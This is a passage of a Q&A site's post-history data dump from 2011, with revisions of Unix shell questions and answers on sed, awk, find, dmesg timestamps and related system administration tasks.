characters (e.g. quotes). So instead the file name is passed to the shell as its 0th argument, and the script uses the shell variable `$0` to refer to the file.&#xD;&#xA;* `echo tiff_filename | sed s/tiff/jpg/` is a complex, inefficient, incorrect and fragile way to alter the file name. It's complex and inefficient because you're calling sed. It's wrong because you're replacing `tiff` anywhere in the file: e.g. `tiffany.tiff` would become `jpgany.tiff`. It's fragile because it wouldn't work with some file names (some implementations of `echo` mangle backslashes). Instead, use `${0%.tiff}` to remove the `.tiff` suffix from the file name in `$0`.&#xD;&#xA;" />
  <row Id="25205" PostHistoryTypeId="2" PostId="10485" RevisionGUID="5ef2da68-e627-4f55-b8d1-9290188c1e05" CreationDate="2011-04-01T22:32:03.423" UserId="885" Text="Here's a safe and Windows-proof way of looking for a bunch of file name patterns retrieved from a file. The approach I've chosen is to process the list of patterns into a `find` expression.&#xD;&#xA;&#xD;&#xA;    find_expression=$(&lt;pattern \&#xD;&#xA;        sed -e 's/^/-o\n-iname\n*/' \&#xD;&#xA;            -e 's/\r\?$/*/' |            # turn each pattern into -o -iname *foo*&#xD;&#xA;        tail -n +2)                      # remove spurious initial -o&#xD;&#xA;    set -f                               # turn off globbing&#xD;&#xA;    IFS='&#xD;&#xA;    '                                    # split only at newlines&#xD;&#xA;    find . \( $find_expression \) -print0&#xD;&#xA;    set +f; unset IFS                    # restore defaults&#xD;&#xA;" />
  <row Id="25206" PostHistoryTypeId="6" PostId="10481" RevisionGUID="8b6a011b-b76f-4d62-8009-ea6b1f6ef37f" CreationDate="2011-04-01T22:32:29.490" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàéfindàéwildcardsà" />
  <row Id="25207" PostHistoryTypeId="5" PostId="10345" RevisionGUID="6225f059-fcc1-40ad-8450-ab41840ca7de" CreationDate="2011-04-01T23:42:23.933" UserId="6167" Comment="fixed minor issue with formatting" Text="Most likely it's pulse that's not set-up correctly.  `speaker-test` is a handy utility here.  If pulse is your default audio device then all audio programs including `speaker-test` will go through it for audio.  Try adding `default-sample-channels = 6` to `/etc/pulse/daemon.conf` to tell pulse to use 5.1 audio.  `speaker-test -c6` will test all 6 channels individually.  If you want to test your sound card directly instead of going through pulse you may need to call `speaker-test -D hw:0,0`." />
  <row Id="25208" PostHistoryTypeId="25" PostId="10481" RevisionGUID="0f0c5872-d654-45a0-a697-436409a2b788" CreationDate="2011-04-02T00:08:49.620" Comment="http://twitter.com/#!/StackUnix/status/53972114658701313" />
  <row Id="25210" PostHistoryTypeId="2" PostId="10487" RevisionGUID="bce10ec0-4348-4440-8d3c-0d92d4f10f99" CreationDate="2011-04-02T01:12:04.903" UserId="2180" Text="This can be caused by sshd doing DNS lookups, especially when using SSH keys. You can mediate this by putting entries for your server system's name and your client systems name in `/etc/hosts`.&#xD;&#xA;&#xD;&#xA;See http://psomas.wordpress.com/2009/10/19/sshd-reverse-dns-lookup/ for a little more depth." />
  <row Id="25211" PostHistoryTypeId="2" PostId="10488" RevisionGUID="f728864b-adc8-4bc1-8c54-dc4e58eb91d8" CreationDate="2011-04-02T01:13:07.490" UserId="6233" Text="If you want to install the program for a single user, you can put the binary executable in ~/bin. The .bashrc on most UNIX systems is set to include ~/bin on the user's path if it exists. &#xD;&#xA;" />
  <row Id="25212" PostHistoryTypeId="2" PostId="10489" RevisionGUID="fe6f1078-d778-44a4-9e80-311cefcd1f57" CreationDate="2011-04-02T01:45:34.500" UserId="5836" Text="*In this text file students.txt*&#xD;&#xA;&#xD;&#xA;Surname,Forename: Day.Month.Year: Degree&#xD;&#xA;&#xD;&#xA;Smith, John: 15.01.1986: MSc IT&#xD;&#xA;&#xD;&#xA;Taylor, Susan: 04.05.1987: MSc IT&#xD;&#xA;&#xD;&#xA;Thomas, Steve: 19.04.1986: MSc MIT&#xD;&#xA;&#xD;&#xA;Sellen, Jo: 03.07.1987: MSc CSE&#xD;&#xA;&#xD;&#xA;*How to change the code bellow into SED, to return all the surnames of students who were born in 1987?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**grep 1987 students.txt | grep -o &quot;^\(.*\),&quot;**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I Hope you can offer some help&#xD;&#xA;&#xD;&#xA;cheerz" />
  <row Id="25213" PostHistoryTypeId="1" PostId="10489" RevisionGUID="fe6f1078-d778-44a4-9e80-311cefcd1f57" CreationDate="2011-04-02T01:45:34.500" UserId="5836" Text="Sed Scripting is my real dream these days." />
  <row Id="25214" PostHistoryTypeId="3" PostId="10489" RevisionGUID="fe6f1078-d778-44a4-9e80-311cefcd1f57" CreationDate="2011-04-02T01:45:34.500" UserId="5836" Text="éalsaà" />
  <row Id="25215" PostHistoryTypeId="5" PostId="10489" RevisionGUID="f6c6c89e-f476-4a41-bc06-12075895bb3e" CreationDate="2011-04-02T02:00:49.957" UserId="73" Comment="added 22 characters in body; edited tags; edited title" Text="I have a files `students.txt`, with lines of the form:&#xD;&#xA;&#xD;&#xA;    Surname, Forename: Day.Month.Year: Degree&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    Smith, John: 15.01.1986: MSc IT&#xD;&#xA;    Taylor, Susan: 04.05.1987: MSc IT&#xD;&#xA;    Thomas, Steve: 19.04.1986: MSc MIT&#xD;&#xA;    Sellen, Jo: 03.07.1987: MSc CSE&#xD;&#xA;&#xD;&#xA;How can I change the command below into a `sed` command to return all the surnames of students who were born in 1987?&#xD;&#xA;&#xD;&#xA;    $ grep 1987 students.txt | grep -o &quot;^\(.*\),&quot;&#xD;&#xA;" />
  <row Id="25216" PostHistoryTypeId="4" PostId="10489" RevisionGUID="f6c6c89e-f476-4a41-bc06-12075895bb3e" CreationDate="2011-04-02T02:00:49.957" UserId="73" Comment="added 22 characters in body; edited tags; edited title" Text="Switch from grep to sed" />
  <row Id="25217" PostHistoryTypeId="6" PostId="10489" RevisionGUID="f6c6c89e-f476-4a41-bc06-12075895bb3e" CreationDate="2011-04-02T02:00:49.957" UserId="73" Comment="added 22 characters in body; edited tags; edited title" Text="étextöprocessingàégrepàésedà" />
  <row Id="25218" PostHistoryTypeId="2" PostId="10490" RevisionGUID="22aae085-65bd-4173-a392-ab74c7100702" CreationDate="2011-04-02T02:15:09.147" UserId="1338" Text="    sed -n '/1987/s/^\([^,]*\),.*$/\1/p' students.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25219" PostHistoryTypeId="25" PostId="10489" RevisionGUID="d07c136e-f949-4081-ab9e-32733175225b" CreationDate="2011-04-02T03:08:49.397" Comment="http://twitter.com/#!/StackUnix/status/54017412428861440" />
  <row Id="25220" PostHistoryTypeId="2" PostId="10491" RevisionGUID="6a1cc515-d576-4b06-9d19-e9b09b16c597" CreationDate="2011-04-02T04:01:48.400" UserId="2818" Text="This kind of problem is well-suited to `awk`:&#xD;&#xA;&#xD;&#xA;    % awk '/\.1987:/ {gsub(/,.*/, &quot;&quot;); print}' students.txt &#xD;&#xA;    Taylor&#xD;&#xA;    Sellen&#xD;&#xA;&#xD;&#xA;Or, specifying a column, rather than the whole line (making it easier for you to customise, should you wish to add other columns in :&#xD;&#xA;&#xD;&#xA;    % awk '/\.1987:/ {&#xD;&#xA;            gsub(/,$/, &quot;&quot;, $1);          &#xD;&#xA;            print $1;&#xD;&#xA;    }' students.txt&#xD;&#xA;    Taylor&#xD;&#xA;    Sellen&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25221" PostHistoryTypeId="2" PostId="10492" RevisionGUID="8a5d9274-fe82-4fb8-9247-7fe621f76de0" CreationDate="2011-04-02T05:35:09.027" UserId="3519" Text="If you want to go with awk I would suggest a different answer to Johnsyweb's. The power of awk includes choosing the field separator(s):&#xD;&#xA;&#xD;&#xA;    awk -F'[,: ]*' '$3 ~ /1987$/ {print $1}' students.txt&#xD;&#xA;&#xD;&#xA;But the question was about sed, so I believe SiegeX should get the better vote." />
  <row Id="25222" PostHistoryTypeId="17" PostId="10494" RevisionGUID="15553004-8fb5-4092-b007-b4e04206d051" CreationDate="2011-04-02T05:38:56.047" UserId="-1" Comment="from http://askubuntu.com/questions/21393/correlating-var-log-timestamps/21409#21409" Text="" />
  <row Id="25223" PostHistoryTypeId="17" PostId="10495" RevisionGUID="3e69e1d0-47d5-4b32-952c-18b14e976242" CreationDate="2011-04-02T05:38:56.047" UserId="-1" Comment="from http://askubuntu.com/questions/21393/correlating-var-log-timestamps/21425#21425" Text="" />
  <row Id="25224" PostHistoryTypeId="17" PostId="10496" RevisionGUID="b729ae98-7064-48b7-bd30-62a1a521722f" CreationDate="2011-04-02T05:38:56.047" UserId="-1" Comment="from http://askubuntu.com/questions/21393/correlating-var-log-timestamps/30112#30112" Text="" />
  <row Id="25225" PostHistoryTypeId="2" PostId="10494" RevisionGUID="33c53e4e-c946-4db6-b7b2-009c2984de0d" CreationDate="2011-01-13T20:41:07.840" UserDisplayName="Lekensteyn" Text="The easiest way to map the number from dmesg to a date is using the `date` program.&#xD;&#xA;&#xD;&#xA;    date -d &quot;-50595 seconds&quot;&#xD;&#xA;This command displays the date for the current time minus 50595 seconds.&#xD;&#xA;&#xD;&#xA;From `man date`:&#xD;&#xA;&#xD;&#xA;    -d, --date=STRING&#xD;&#xA;           display time described by STRING, not `now'&#xD;&#xA;&#xD;&#xA;The number equals the powered-on time, not the time elapsed since boot time." />
  <row Id="25226" PostHistoryTypeId="2" PostId="10495" RevisionGUID="65afb8ad-9dd0-446a-a44a-508f862a9805" CreationDate="2011-01-13T21:41:54.157" UserId="3998" Text="You can give this a try :&#xD;&#xA;&#xD;&#xA;First, get the timestamp of the dmesg file (my assumption is this will be dmesg's time 0).  You'll use &lt;pre&gt;ls -l --time-style=+%s&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;    /var/log$ ls -l --time-style=+%s dmesg&#xD;&#xA;    -rw-r----- 1 root adm 56181 1294941018 dmesg&#xD;&#xA;&#xD;&#xA;You can convert the seconds into a human-readable date with&#xD;&#xA;&#xD;&#xA;    perl -e 'print scalar localtime(1294941018)' &#xD;&#xA;    &#xD;&#xA;So to see a readable event time, add in the seconds from the event in dmesg.  If the dmesg event was 55.290387 seconds in, add 55 or 55.290387 :&#xD;&#xA;&#xD;&#xA;    perl -e 'print scalar localtime(1294953978 + 55)'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another way to transform epochal-rooted seconds into readable time is to use date -d as suggested.&#xD;&#xA;If you tell 'date' to represent a time supplied with -d , you can indicate that the time to be converted is in seconds-since-the-epoch by using @ . &#xD;&#xA;&#xD;&#xA;    date -d &quot;@1294953978&quot;&#xD;&#xA;&#xD;&#xA;This gives you something like &quot;Thu Jan 13 15:26:18 CST 2011&quot; as output.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;date +%s&lt;/pre&gt; will print the current time in the seconds-since-epoch format.&#xD;&#xA;&#xD;&#xA;I can't remember how to do shell math, so I typically use the perl method as above. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25227" PostHistoryTypeId="2" PostId="10496" RevisionGUID="80351708-cb1c-4e0a-a157-5ba596aeedae" CreationDate="2011-03-12T21:22:11.193" UserDisplayName="wansecurity" Text="Quick, dirty, works.&#xD;&#xA;&#xD;&#xA;dmesg | grep 3w | perl /root/print_time_offset.pl&#xD;&#xA;&#xD;&#xA;cat /root/print_time_offset.pl&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;#!/usr/bin/perl&#xD;&#xA;&#xD;&#xA;$uptime = `cat /proc/uptime | awk '{print $1}';`;&#xD;&#xA;$boot = time() - $uptime;&#xD;&#xA;chomp $boot;&#xD;&#xA;while (&amp;lt;STDIN&amp;gt;) {&#xD;&#xA;        if ($_ =~ /^\[([\s\d\.]+)\]/) {&#xD;&#xA;                $time_offset = $1;&#xD;&#xA;        }&#xD;&#xA;        $real_time = sprintf scalar localtime($boot + $time_offset);&#xD;&#xA;        $_ =~ s/\[[\s\d\.]+\]/\[$real_time\]/;&#xD;&#xA;        print $_;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Sample output is as follows:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[Mon Feb 21 23:06:33 2011] 3ware 9000 Storage Controller device driver for Linux v2.26.02.012.&#xD;&#xA;[Mon Feb 21 23:06:33 2011] 3w-9xxx 0000:03:00.0: PCI INT A -&gt; GSI 16 (level, low) -&gt; IRQ 16&#xD;&#xA;[Mon Feb 21 23:06:33 2011] 3w-9xxx 0000:03:00.0: setting latency timer to 64&#xD;&#xA;[Mon Feb 21 23:06:33 2011] scsi4 : 3ware 9000 Storage Controller&#xD;&#xA;[Mon Feb 21 23:06:33 2011] 3w-9xxx: scsi4: Found a 3ware 9000 Storage Controller at 0xfbcde000, IRQ: 16.&#xD;&#xA;[Mon Feb 21 23:06:34 2011] 3w-9xxx: scsi4: Firmware FE9X 4.08.00.006, BIOS BE9X 4.08.00.001, Ports: 4.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Mon Feb 21 23:06:35 2011] 3w-9xxx: scsi4: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.&#xD;&#xA;[Sat Feb 26 02:01:01 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=1.&#xD;&#xA;[Sat Feb 26 02:01:01 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=0.&#xD;&#xA;[Sat Feb 26 16:49:13 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x002B): Verify completed:unit=0, subunit=1.&#xD;&#xA;[Sat Feb 26 17:07:19 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x002B): Verify completed:unit=0, subunit=0.&#xD;&#xA;[Sat Mar  5 02:00:16 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=1.&#xD;&#xA;[Sat Mar  5 02:00:16 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=0.&#xD;&#xA;[Sat Mar  5 18:48:57 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x002B): Verify completed:unit=0, subunit=1.&#xD;&#xA;[Sat Mar  5 19:05:17 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x002B): Verify completed:unit=0, subunit=0.&#xD;&#xA;[Sat Mar 12 02:00:30 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=1.&#xD;&#xA;[Sat Mar 12 02:00:30 2011] 3w-9xxx: scsi4: AEN: INFO (0x04:0x0029): Verify started:unit=0, subunit=0.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Enjoy" />
  <row Id="25233" PostHistoryTypeId="18" PostId="10494" RevisionGUID="10373e21-549c-4760-8907-eac1a0638fba" CreationDate="2011-04-02T05:39:13.817" UserId="331" Comment="from http://unix.stackexchange.com/questions/10493/correlating-var-log-timestamps" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="25234" PostHistoryTypeId="18" PostId="10495" RevisionGUID="10373e21-549c-4760-8907-eac1a0638fba" CreationDate="2011-04-02T05:39:13.817" UserId="331" Comment="from http://unix.stackexchange.com/questions/10493/correlating-var-log-timestamps" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="25235" PostHistoryTypeId="18" PostId="10496" RevisionGUID="10373e21-549c-4760-8907-eac1a0638fba" CreationDate="2011-04-02T05:39:13.817" UserId="331" Comment="from http://unix.stackexchange.com/questions/10493/correlating-var-log-timestamps" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="25236" PostHistoryTypeId="18" PostId="5804" RevisionGUID="10373e21-549c-4760-8907-eac1a0638fba" CreationDate="2011-04-02T05:39:13.817" UserId="331" Comment="from http://unix.stackexchange.com/questions/10493/correlating-var-log-timestamps" Text="[{&quot;Id&quot;:331,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="25240" PostHistoryTypeId="25" PostId="10469" RevisionGUID="34752b52-0379-474c-b404-7f9f47aad071" CreationDate="2011-04-02T06:08:49.657" Comment="http://twitter.com/#!/StackUnix/status/54062710979170304" />
  <row Id="25241" PostHistoryTypeId="6" PostId="10489" RevisionGUID="abdf7120-d395-48b9-9b79-70b8600db75e" CreationDate="2011-04-02T07:02:13.740" UserId="1338" Comment="added homework tag" Text="étextöprocessingàégrepàésedàéhomeworkà" />
  <row Id="25242" PostHistoryTypeId="24" PostId="10489" RevisionGUID="abdf7120-d395-48b9-9b79-70b8600db75e" CreationDate="2011-04-02T07:02:13.740" Comment="Proposed by 1338 approved by 29 edit id of 244" />
  <row Id="25243" PostHistoryTypeId="6" PostId="9502" RevisionGUID="7199f69e-0d10-4f72-99b0-bcef3636bc85" CreationDate="2011-04-02T07:02:57.013" UserId="29" Comment="add homework tag" Text="étextöprocessingàéscriptingàéhomeworkàéodàéordà" />
  <row Id="25244" PostHistoryTypeId="6" PostId="9619" RevisionGUID="0b002cc4-5db9-4342-8ef3-cf893b93d5d4" CreationDate="2011-04-02T07:04:57.043" UserId="29" Comment="more homework" Text="ébashàéshellöscriptàémimeötypesàéhomeworkà" />
  <row Id="25245" PostHistoryTypeId="25" PostId="10455" RevisionGUID="c9a4a107-bc1e-4d79-80ca-62de8a7e4a16" CreationDate="2011-04-02T09:08:49.730" Comment="http://twitter.com/#!/StackUnix/status/54108010842296320" />
  <row Id="25246" PostHistoryTypeId="2" PostId="10498" RevisionGUID="963fd870-1571-456b-a9b1-f64bc9c307d6" CreationDate="2011-04-02T10:55:10.157" UserId="5203" Text="No real chance of getting AIX to run on your laptop, the best way to learn is to buy an old machine and have a go on real hardware (PPC hardware itself is quite different, different boot process etc).&#xD;&#xA;You should be able to find a cheap IBM workstation on eBay for a few hundred dollars, a model 275 with 4Gb RAM should be sufficient to run AIX for testing purposes.&#xD;&#xA;&#xD;&#xA;Worth keeping in mind is that more or less all new AIX deployments are virtualized, either using hardware level virtualization or containers inside an AIX installation.&#xD;&#xA;Unfortunately the cheapest hardware for this is (afaik) something like a p520 server (running VIO server), which will cost you at least 2k USD on eBay or similar.&#xD;&#xA;" />
  <row Id="25247" PostHistoryTypeId="2" PostId="10499" RevisionGUID="b966c897-a0ea-43d2-a9aa-a51562bffcf0" CreationDate="2011-04-02T12:04:19.713" UserId="1925" Text="Check the printer status in the cups web control panel (general found at http://localhost:631) and make sure the printer isn't paused. Also make sure the cups daemon is running." />
  <row Id="25248" PostHistoryTypeId="25" PostId="10438" RevisionGUID="b3bb7cf9-afa2-430b-82ec-163f791d1d42" CreationDate="2011-04-02T12:08:49.413" Comment="http://twitter.com/#!/StackUnix/status/54153308067217408" />
  <row Id="25249" PostHistoryTypeId="2" PostId="10500" RevisionGUID="e7d6bd09-f0c8-4a9c-a13a-a0536af4ef47" CreationDate="2011-04-02T12:09:26.793" UserId="1925" Text="Apple works pretty hard to make sure that this can only be done through their tools, and they do not release iTunes for linux. The hacks that sometimes allow it to work under wine are usually short lived.&#xD;&#xA;&#xD;&#xA;The only way to do this without eating your head off and probably failing anyway is to use windows through an emulator such as [VirtualBox][1], install a quick basic windows instance with iTunes, connect the USB devices to it, and manage it from there.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org" />
  <row Id="25250" PostHistoryTypeId="2" PostId="10501" RevisionGUID="7483cbef-c57b-46ea-80a1-2aa2f47be8da" CreationDate="2011-04-02T12:09:28.413" UserId="5763" Text="My guess is either the filesystem is corrupted or may be the data is encrypted/compressed." />
  <row Id="25251" PostHistoryTypeId="2" PostId="10502" RevisionGUID="e97d900a-3fa7-4373-a898-7c13c81899e5" CreationDate="2011-04-02T12:13:43.593" UserId="1925" Text="I realize default config files look messy, but down the road when you need to change some configuration value it is helpful to have all the headers and comments in place. From a long term administration standpoint is is usually advisable to keep these files in their original form. This also allows you to keep track of changes as you upgrade ... each new version of a program will change the default config, and if you have made as few changes as possible to yours, you will be able to easily compare using tools like `diff` or `vim -d` to see what has changed.&#xD;&#xA;&#xD;&#xA;Having an awk script like people have you writing is nice to quickly glance at what values are being set, but it should be used to look at, not actually change and save your config files." />
  <row Id="25252" PostHistoryTypeId="2" PostId="10503" RevisionGUID="1f4db214-75eb-4f6e-b3c2-2a731cc8c38d" CreationDate="2011-04-02T12:30:27.340" UserId="6236" Text="How can i list in long format all files (located in a directory ) wich belong to me (rights) and modified more than 7 days ? " />
  <row Id="25253" PostHistoryTypeId="1" PostId="10503" RevisionGUID="1f4db214-75eb-4f6e-b3c2-2a731cc8c38d" CreationDate="2011-04-02T12:30:27.340" UserId="6236" Text="long format's file+date+rights" />
  <row Id="25254" PostHistoryTypeId="3" PostId="10503" RevisionGUID="1f4db214-75eb-4f6e-b3c2-2a731cc8c38d" CreationDate="2011-04-02T12:30:27.340" UserId="6236" Text="éunixà" />
  <row Id="25255" PostHistoryTypeId="2" PostId="10504" RevisionGUID="fe8f4ac6-171d-4641-8260-70988e23fae7" CreationDate="2011-04-02T12:36:03.233" UserId="6237" Text="Which modern distribuition of linux uses minimal graphic requirements because i have graphic card of 64 mb&#xD;&#xA;&#xD;&#xA;sry for bad english.." />
  <row Id="25256" PostHistoryTypeId="1" PostId="10504" RevisionGUID="fe8f4ac6-171d-4641-8260-70988e23fae7" CreationDate="2011-04-02T12:36:03.233" UserId="6237" Text="minimal graphic requirements linux distribution" />
  <row Id="25257" PostHistoryTypeId="3" PostId="10504" RevisionGUID="fe8f4ac6-171d-4641-8260-70988e23fae7" CreationDate="2011-04-02T12:36:03.233" UserId="6237" Text="élinuxà" />
  <row Id="25258" PostHistoryTypeId="2" PostId="10505" RevisionGUID="f5af81e6-5c2c-45fc-9619-ce155f532551" CreationDate="2011-04-02T12:54:49.090" UserId="1925" Text="A 64 MB graphics card should be enough to run ANY modern linux distribution. You might find better performance by turning off some of the visual features or using a desktop environment that is lighter weight, but 64 is enough to make even the heavyweights such as gnome and kde run." />
  <row Id="25259" PostHistoryTypeId="2" PostId="10506" RevisionGUID="bcf7de68-ccbd-45db-8d65-16a813e2afe3" CreationDate="2011-04-02T12:58:45.673" UserId="1925" Text="Use the find command with an argument for files owned by a given username and modified over a certain time.&#xD;&#xA;&#xD;&#xA;`find -user username -mtime +7`" />
  <row Id="25260" PostHistoryTypeId="2" PostId="10507" RevisionGUID="9a790084-2b30-4dad-b4ad-abb814fdf26a" CreationDate="2011-04-02T13:21:04.240" UserId="6238" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I am trying to execute a command every time a file changes. Is this possible?&#xD;&#xA;I think there is some way to watch for a file, but I have no idea.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="25261" PostHistoryTypeId="1" PostId="10507" RevisionGUID="9a790084-2b30-4dad-b4ad-abb814fdf26a" CreationDate="2011-04-02T13:21:04.240" UserId="6238" Text="Execute command when file changes" />
  <row Id="25262" PostHistoryTypeId="3" PostId="10507" RevisionGUID="9a790084-2b30-4dad-b4ad-abb814fdf26a" CreationDate="2011-04-02T13:21:04.240" UserId="6238" Text="écommandölineà" />
  <row Id="25263" PostHistoryTypeId="5" PostId="10506" RevisionGUID="5543c58e-bed3-4bb0-ab57-f811754fccfb" CreationDate="2011-04-02T13:27:44.410" UserId="1925" Comment="added 275 characters in body" Text="Use the find command with an argument for files owned by a given username and modified over a certain time.&#xD;&#xA;&#xD;&#xA;`find -user username -mtime +7`&#xD;&#xA;&#xD;&#xA;**EDIT**: Optionally (if you use GNU find, mandatory if you use BSDfine) you can add a directory location to search in like this: `find -user username -mtime +7 /path/to/search`. GNU find assumes you want to search from the current directory if you do not specify a path." />
  <row Id="25264" PostHistoryTypeId="5" PostId="10504" RevisionGUID="25548595-553f-4fe7-8ca8-9e243e58cc64" CreationDate="2011-04-02T13:43:40.803" UserId="1925" Comment="Fixed English, removed apology." Text="Which modern distribuition of linux has minimal graphic requirements? My graphic card has only 64MB of memory." />
  <row Id="25265" PostHistoryTypeId="6" PostId="10504" RevisionGUID="25548595-553f-4fe7-8ca8-9e243e58cc64" CreationDate="2011-04-02T13:43:40.803" UserId="1925" Comment="Fixed English, removed apology." Text="élinuxàédistrosà" />
  <row Id="25266" PostHistoryTypeId="24" PostId="10504" RevisionGUID="25548595-553f-4fe7-8ca8-9e243e58cc64" CreationDate="2011-04-02T13:43:40.803" Comment="Proposed by 1925 approved by 885 edit id of 245" />
  <row Id="25267" PostHistoryTypeId="5" PostId="10506" RevisionGUID="9a5be5b7-b567-4cbb-a8a7-e4cf442c8131" CreationDate="2011-04-02T13:53:40.983" UserId="885" Comment="fixed location of search root argument to find" Text="Use the find command with an argument for files owned by a given username and modified over a certain time.&#xD;&#xA;&#xD;&#xA;    find -user username -mtime +7&#xD;&#xA;&#xD;&#xA;**EDIT**: Optionally (if you use GNU find, mandatory if you use other implementations) you can add a directory location to search in like this: `find /path/to/search -user username -mtime +7`. GNU find assumes you want to search from the current directory if you do not specify a path." />
  <row Id="25268" PostHistoryTypeId="2" PostId="10508" RevisionGUID="2d26d4b2-f9dd-4914-9a35-98ffcd0415ce" CreationDate="2011-04-02T13:56:29.857" UserId="885" Text="In zsh:&#xD;&#xA;&#xD;&#xA;    ls -ld *(u$UIDm+7)&#xD;&#xA;&#xD;&#xA;`u` and `m` are [globbing qualifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#SEC87) to match files by owner and modification time respectively." />
  <row Id="25269" PostHistoryTypeId="6" PostId="10503" RevisionGUID="34f8a7db-7ef7-4af5-837a-a66128805d3e" CreationDate="2011-04-02T13:56:40.840" UserId="885" Comment="edited tags" Text="éshellàéwildcardsà" />
  <row Id="25270" PostHistoryTypeId="5" PostId="10364" RevisionGUID="e1000598-f799-421c-8cc2-2bea31412e7e" CreationDate="2011-04-02T14:41:34.887" UserId="6167" Comment="Added formatting to better identify code" Text="The vim manual may be a better and more up-to-date than that old Ex manual.  Most likely, you will be using ex that comes with vim on most modern Linux distributions.  To get help in Vim use :help, to get help on a specific command like the Ex command ~, use `:help :~`.  All Ex commands are preceded with a : in Vim.  I think (.,.) is simply used to denote a range may be specified as in 2,8 to mean lines 2 through 8 or 1,$ ($ represents last line) for every line in a file.  In Vim, typing `:1,$~` means run the Ex command ~ on every line in the file.&#xD;&#xA;&#xD;&#xA;1. Vim say `:~` is &quot;Repeat last substitute with same substitute string but with last used search pattern.&quot;  A substitution is normally written as `:s/pattern/string/`  This looks for a pattern on a line and replaces it with string.  `:~` repeats last substitute command, but uses the most recent search for pattern.&#xD;&#xA;&#xD;&#xA;2. Try this pattern: `/\&amp;lt;h.\*s\&amp;gt;`&#xD;&#xA;&#xD;&#xA;/ is used to start a search in Ex/Vim, \&amp;lt; means match start of word, h matches h, .\* where . matches any single character and \* repeats that zero or more times so .\* means match zero or more characters.  s matches s, \\&gt; matches end of word.&#xD;&#xA;&#xD;&#xA;3. Try this pattern `/words\?$`&#xD;&#xA;&#xD;&#xA;$ means end of line when used in a pattern match, and \\? means previous character is optional.  This will match word or words at the end of a line." />
  <row Id="25271" PostHistoryTypeId="2" PostId="10509" RevisionGUID="21bf9ff3-c413-4080-980c-772c4fed237c" CreationDate="2011-04-02T15:04:49.787" UserId="1925" Text="The answer @SiegeX presents will work, but if you have a lot of files in your pattern file, this might become slow and clumsy. You might get much better performance by using a different tool, like this:&#xD;&#xA;&#xD;&#xA;    find . | grep -f pattern.txt&#xD;&#xA;&#xD;&#xA;Yup, that was the whole thing." />
  <row Id="25273" PostHistoryTypeId="25" PostId="10504" RevisionGUID="ae4b01dd-88a4-4bd7-ae23-391d883c7ec2" CreationDate="2011-04-02T15:08:49.730" Comment="http://twitter.com/#!/StackUnix/status/54198607586406400" />
  <row Id="25274" PostHistoryTypeId="5" PostId="10507" RevisionGUID="03ed0e2d-80a6-4b05-bf41-78df912df817" CreationDate="2011-04-02T15:11:56.090" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Can a bash script be hooked to a file?](http://unix.stackexchange.com/questions/5515/can-a-bash-script-be-hooked-to-a-file)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi there,&#xD;&#xA;&#xD;&#xA;I am trying to execute a command every time a file changes. Is this possible?&#xD;&#xA;I think there is some way to watch for a file, but I have no idea.&#xD;&#xA;&#xD;&#xA;Thank you!" />
